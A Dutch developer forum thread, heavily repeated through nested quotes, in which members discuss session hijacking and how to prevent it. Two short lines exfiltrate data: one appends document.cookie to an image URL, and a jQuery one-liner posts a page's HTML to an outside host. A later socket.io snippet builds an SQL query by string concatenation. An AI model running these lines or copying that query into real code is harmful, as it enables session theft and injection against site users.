Sevvlor schreef:Vanuit de extensie zelf requests doen.Verklaar je nader?Eerdere citaten tonen
Smiegles schreef:Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.Eerdere citaten tonen
Lennard schreef:Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.Eerdere citaten tonen
Xjessex schreef:Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.Eerdere citaten tonen
Smiegles schreef:Dan moet je wel een XSS lek hebben.Eerdere citaten tonen
Xjessex schreef:Je haalt de image op die website.Eerdere citaten tonen
Antonn schreef:Cookies worden niet meegestuurd naar externe afbeeldingen op een website.Eerdere citaten tonen
Xjessex schreef:Je kan het beste de id gebruikenEerdere citaten tonen
Dionc schreef:Waarom sla je de gebruikersnaam op in een session?
Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.
Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.
Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.
Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)
document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Dus image.jpg?c="+document.cookie();
En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.
Het Wat heb jij vandaag geprogrammeerd? topic
Sevvlor schreef:$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });Verklaar je nader?Eerdere citaten tonen
Smiegles schreef:Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.Eerdere citaten tonen
Lennard schreef:Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.Eerdere citaten tonen
Xjessex schreef:Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.Eerdere citaten tonen
Smiegles schreef:Dan moet je wel een XSS lek hebben.Eerdere citaten tonen
Xjessex schreef:Je haalt de image op die website.Eerdere citaten tonen
Antonn schreef:Cookies worden niet meegestuurd naar externe afbeeldingen op een website.Eerdere citaten tonen
Xjessex schreef:Je kan het beste de id gebruikenEerdere citaten tonen
Dionc schreef:Waarom sla je de gebruikersnaam op in een session?
Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.
Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.
Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.
Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)
document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Dus image.jpg?c="+document.cookie();
En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.
Smiegles schreef:Hoe zou jij dit probleem dan oplossen?$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });Eerdere citaten tonen
Sevvlor schreef:Verklaar je nader?Eerdere citaten tonen
Smiegles schreef:Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.Eerdere citaten tonen
Lennard schreef:Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.Eerdere citaten tonen
Xjessex schreef:Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.Eerdere citaten tonen
Smiegles schreef:Dan moet je wel een XSS lek hebben.Eerdere citaten tonen
Xjessex schreef:Je haalt de image op die website.Eerdere citaten tonen
Antonn schreef:Cookies worden niet meegestuurd naar externe afbeeldingen op een website.Eerdere citaten tonen
Xjessex schreef:Je kan het beste de id gebruikenEerdere citaten tonen
Dionc schreef:Waarom sla je de gebruikersnaam op in een session?
Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.
Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.
Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.
Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)
document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Dus image.jpg?c="+document.cookie();
En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.
Afbeelding niet beschikbaarDe bron kon niet worden geladen (i.imgur.com).Bron openen ↗Smiegles schreef:Ja, dus dan voorkom je het toch door geen extensies te installeren?$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });Eerdere citaten tonen
Sevvlor schreef:Verklaar je nader?Eerdere citaten tonen
Smiegles schreef:Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.Eerdere citaten tonen
Lennard schreef:Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.Eerdere citaten tonen
Xjessex schreef:Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.Eerdere citaten tonen
Smiegles schreef:Dan moet je wel een XSS lek hebben.Eerdere citaten tonen
Xjessex schreef:Je haalt de image op die website.Eerdere citaten tonen
Antonn schreef:Cookies worden niet meegestuurd naar externe afbeeldingen op een website.Eerdere citaten tonen
Xjessex schreef:Je kan het beste de id gebruikenEerdere citaten tonen
Dionc schreef:Waarom sla je de gebruikersnaam op in een session?
Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.
Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.
Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.
Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)
document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Dus image.jpg?c="+document.cookie();
En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.
Raaoul schreef:Tinkers Construct?
Of hoe moet ik het zien?Robiin schreef:Niet, als mensen zo dom zijn om zon extensie te installeren is het hun eigen probleem.Hoe zou jij dit probleem dan oplossen?Eerdere citaten tonen
Smiegles schreef:$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });Eerdere citaten tonen
Sevvlor schreef:Verklaar je nader?Eerdere citaten tonen
Smiegles schreef:Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.Eerdere citaten tonen
Lennard schreef:Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.Eerdere citaten tonen
Xjessex schreef:Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.Eerdere citaten tonen
Smiegles schreef:Dan moet je wel een XSS lek hebben.Eerdere citaten tonen
Xjessex schreef:Je haalt de image op die website.Eerdere citaten tonen
Antonn schreef:Cookies worden niet meegestuurd naar externe afbeeldingen op een website.Eerdere citaten tonen
Xjessex schreef:Je kan het beste de id gebruikenEerdere citaten tonen
Dionc schreef:Waarom sla je de gebruikersnaam op in een session?
Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.
Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.
Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.
Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)
document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Dus image.jpg?c="+document.cookie();
En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.
Luukvdo schreef:Tinkers Construct clone ja xD Beetje bij beetje Forge lerenTinkers Construct?Eerdere citaten tonen
Raaoul schreef:Of hoe moet ik het zien?
code is nu ook openbaar: https://github.com/rvandenberge/BetterTools/Smiegles schreef:Juist. Maar dat image verhaal van Xjessex? Dan is een UserAgent en IP controle toch voldoende?Niet, als mensen zo dom zijn om zon extensie te installeren is het hun eigen probleem.Eerdere citaten tonen
Robiin schreef:Hoe zou jij dit probleem dan oplossen?Eerdere citaten tonen
Smiegles schreef:$.post("http://www.tfoe.com/", { data : document.getElementsByTagName(html)[0].innerHTML });Eerdere citaten tonen
Sevvlor schreef:Verklaar je nader?Eerdere citaten tonen
Smiegles schreef:Een sneaky browser extensie kan je ook gewoon naaien met een goed sessie systeem dus dat is het punt niet.Eerdere citaten tonen
Lennard schreef:Daarom ook nooit extensies gebruiken voor je eigen site, of in ieder geval de code napluizen of zorgen dat je niet bent ingelogd als je m geinstalleerd hebt.Eerdere citaten tonen
Xjessex schreef:Of, zoals ik al uitlegde, een sneaky browser extension maken die de image inlaad (onzichtbaar) en de cookie verstuurd.Eerdere citaten tonen
Smiegles schreef:Dan moet je wel een XSS lek hebben.Eerdere citaten tonen
Xjessex schreef:Je haalt de image op die website.Eerdere citaten tonen
Antonn schreef:Cookies worden niet meegestuurd naar externe afbeeldingen op een website.Eerdere citaten tonen
Xjessex schreef:Je kan het beste de id gebruikenEerdere citaten tonen
Dionc schreef:Waarom sla je de gebruikersnaam op in een session?
Eh nee.
Dat is best onveilig
Altijd hash gebruiken welke moeilijk te raden is.
Stel, jouw website slaat je user id in een sessie.
Het is bèst makkelijk om achter een user id te komen op menig website.
En als ik ergens op jouw website een url tussen img tags zet, bijvoorbeeld
//reitsma.co/image.jpg
image.jpg kan bijvoorbeeld een script bevatten, en met rewrite url (nginx config of htaccess) kan je het bestand heel eenvoudig image.jpg noemen.
Als jij als admin nou mijn plaatje ziet, bijvoorbeeld in een privebericht of op het forum dan doe jij een request naar image.jpg
image.jpg is dan eigenlijk een script, met de headers van een image (en om het onschuldig te laten lijken geeft hij als output ook een image)
Wat dat script doet is jouw cookie opslaan (document.cookie) welke ook het PHPSESSIONID bevat, dan verander je jouw PHPSESSIONID cookie in dat van die admin op die website, en je hebt toegang tot de $_SESSION van de admin.
Wat je dus moet doen is, een hash als cookie of sessie gebruiken, en élke pageview moet je die hash selecteren uit de database en kijken of het ip adres + useragent gelijk is aan dat van de bezoeker dat de hash heeft.
Zo niet: direct uitloggen. (Niet direct blokkeren, kan zijn dat hij zijn browser geüpdatet heeft)
document.cookie kan je niet zomaar op alle websites uitvoeren, als een website overal beveiligd is tegen xss kan je altijd nog een browser extension maken (bijvoorbeeld voor chrome) en de admin deze laten installeren.
"Kijk eens, ik heb een coole make-over voor je website gemaakt, wat vind je?"
Veel mensen installeren dit wel, en na de eerste pageview heb jij dus als zijn cookies voor die website. Fuck u xss beveiliging.
Dus image.jpg?c="+document.cookie();
En nooit inloggen als mensen links van je eigen site naar je sturen en je ineens niet meer bent ingelogd.
toevoeging op 10 mei 2014, 16:34:52:
En als ik inlog, blijf ik zo een half jaar zo in gelogd met dezelfde sessie cookies. Is dat dan nog wel veilig?
Je moet ook een expire date op je token zetten.
Hoe ik het doe voor user auth:
Eenmaal ingelogd word er een usertoken (random md5 hash) geplaatst in de database. Vervolgens word dat ingesteld met een cookie. De usertoken is maar voor een bepaalde duur geldig en werkt enkel op 1 IP en 1 browser. Het is gebonden aan de user-id. Je kunt dit uitbreiden door bv. de mogelijkheid te geven om langer ingelogd te zijn (dus de expire date iets hoger te zetten van je token en cookie.)
Hoe ik het doe voor user auth:
Eenmaal ingelogd word er een usertoken (random md5 hash) geplaatst in de database. Vervolgens word dat ingesteld met een cookie. De usertoken is maar voor een bepaalde duur geldig en werkt enkel op 1 IP en 1 browser. Het is gebonden aan de user-id. Je kunt dit uitbreiden door bv. de mogelijkheid te geven om langer ingelogd te zijn (dus de expire date iets hoger te zetten van je token en cookie.)
Dylanh schreef:Tips:
- Gebruik geen globals, doe ofwel een constructor ofwel een closure (ietsjes moeilijker)
- Gebruik oop i.p.v. functies
- Ik zou voor een requestanimaationframe gaan
NOC script waarmee uptime/downtime op een website word gepost van servers.
Met twitter feed die twitter meldingen maakt van: welke server down is, hoelang die down was
En dat die online is gekomen.
Met twitter feed die twitter meldingen maakt van: welke server down is, hoelang die down was
En dat die online is gekomen.
Een node.js dingetje waarbij een willekeurige bezoeker op een knopje kan drukken, en er dan naar alle bezoekers een berichtje wordt gestuurd.
Stelt weinig voor, maar ik snap nu tenminste wel hoe socket.io enzo ongeveer werkt.
toevoeging op 11 mei 2014, 15:27:47:
nu maar eens uitzoeken hoe ik authenticatie via dat ga doen
Stelt weinig voor, maar ik snap nu tenminste wel hoe socket.io enzo ongeveer werkt.

toevoeging op 11 mei 2014, 15:27:47:
nu maar eens uitzoeken hoe ik authenticatie via dat ga doen

Lennard schreef:toevoeging op 11 mei 2014, 15:27:47:Een node.js dingetje waarbij een willekeurige bezoeker op een knopje kan drukken, en er dan naar alle bezoekers een berichtje wordt gestuurd.
Stelt weinig voor, maar ik snap nu tenminste wel hoe socket.io enzo ongeveer werkt.
nu maar eens uitzoeken hoe ik authenticatie via dat ga doen

1) Gebruik primus.io, qua gebruik bijna hetzelfde, alleen qua performance is het veel beter.
2) Authenticatie kan door een sessionstore op te zetten, ik heb het als volgt:
Spoiler tonen
var sessionStore = new MySQLSessionStore( * hier je database gegevens *);
global.sessionStore = sessionStore;
app.use(express.session({
secret: * hier een secret token *,
store: sessionStore
}));
// Het stukje binnen socket.io (of primus.io, wat verder gewoon hetzelfde is)
global.sessionStore.get(sessionId, function(err,user) {
mysql.query(SELECT username FROM users WHERE id = + user.passport.user.id, function(err, rows) {
// Username: rows[0].username
});
});Dit stukje:
global.sessionStore.get(sessionId, function(...
daar is sessionId een var die je van de client naar de server stuurt.
Als je passport.js gebruikt, dan staat je sessie in req.user.sessionId (geloof ik), als je req.user naar de client stuurt (via views) en dan bij het connecten een functie van de client naar de server stuurt, bijvoorbeeld socket.send(authenticate) en daar als parameter (req.)user.sessionId meegeeft dan kan je username in socket.io ophalen.
Kan je eventueel opslaan door `socket.user = rows[0]` dan heb je een array in socket.user met de rijen die je terug krijgt uit de database.
Hoop dat je er wat aan hebt


